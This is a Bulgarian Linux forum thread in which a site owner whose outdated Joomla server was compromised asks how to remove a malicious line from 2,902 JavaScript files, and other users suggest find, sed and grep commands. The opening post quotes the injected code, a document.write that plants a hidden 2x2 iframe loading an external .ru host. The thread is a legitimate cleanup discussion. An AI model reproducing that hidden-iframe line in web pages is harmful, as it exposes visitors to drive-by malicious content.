Linux за българи: Форуми

Linux секция за начинаещи => Настройка на програми => Темата е започната от: dev_urandom в Sep 07, 2012, 09:12



Титла: Масово триене на редове
Публикувано от: dev_urandom в Sep 07, 2012, 09:12
Здравейте,

най накрая и аз хапнах дръвцето :) Проблема ми е следния:

WEB server със стара /вече не/ версия на Apache + стара /вече не/ версия на Joomla =  катастрофа

Де що има .js файл има инжектиран код в края от вида
document.write('<iframe src="http://wayoseswindows.ru/Tech?8" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>');

Общия брой на така "украсените" файлове е 2902 :) , което прави задачата невъзможна да ги редактирам на ръка. Имам списък на файловете, изкаран чрез grep и записан в обикновен текстов файл. Въпросът ми е : Как да изтрия тези редове чрез някакъв скрипт ? sed ?


Титла: Re: Масово триене на редове
Публикувано от: romeo_ninov в Sep 07, 2012, 10:44
Нещо със sed няма ли да свърши работа като за начало?
Код:
find .  -name "*.js" -type f -exec sed -i s/wayoseswindows.ru/<server IP>/g {} \;
Мисля че имаш и опция за триене на целия ред, но не мога да я намеря.
И да не забравиш да добавиш в локалния сървър папка Tech с празен index.html
 


Титла: Re: Масово триене на редове
Публикувано от: dev_urandom в Sep 07, 2012, 12:01
Нещо със sed няма ли да свърши работа като за начало?
Код:
find .  -name "*.js" -type f -exec sed -i s/wayoseswindows.ru/<server IP>/g {} \;
Мисля че имаш и опция за триене на целия ред, но не мога да я намеря.
И да не забравиш да добавиш в локалния сървър папка Tech с празен index.html

Благодаря, добре ме насочи !
Весели почивни дни !


Титла: Re: Масово триене на редове
Публикувано от: n00b в Sep 07, 2012, 15:45
sed му е майката...

..обаче ще трябва да си напишеш скрипта и да го тестваш.

Аз бих направил нещо като (псевдо код)
grep -r "string" * | xargs ... sed "string" ""

грепа ще издъмпи файловете в поддиректории в един списък (имаше още един параметър само за това но след малко ще видя). За всеки един от файловете xargs ще изпълни sed с параметрите.


Титла: Re: Масово триене на редове
Публикувано от: romeo_ninov в Sep 07, 2012, 15:59
sed му е майката...

..обаче ще трябва да си напишеш скрипта и да го тестваш.

Аз бих направил нещо като (псевдо код)
grep -r "string" * | xargs ... sed "string" ""

грепа ще издъмпи файловете в поддиректории в един списък (имаше още един параметър само за това но след малко ще видя). За всеки един от файловете xargs ще изпълни sed с параметрите.
1. grep -R за да е рекурсивно
2. grep -l за да извади само името на файла.

Но аз по-горе показах нещо с find, което прави същото


Титла: Re: Масово триене на редове
Публикувано от: n00b в Sep 07, 2012, 16:36
sed му е майката...

..обаче ще трябва да си напишеш скрипта и да го тестваш.

Аз бих направил нещо като (псевдо код)
grep -r "string" * | xargs ... sed "string" ""

грепа ще издъмпи файловете в поддиректории в един списък (имаше още един параметър само за това но след малко ще видя). За всеки един от файловете xargs ще изпълни sed с параметрите.
1. grep -R за да е рекурсивно
2. grep -l за да извади само името на файла.

Но аз по-горе показах нещо с find, което прави същото

Roger that.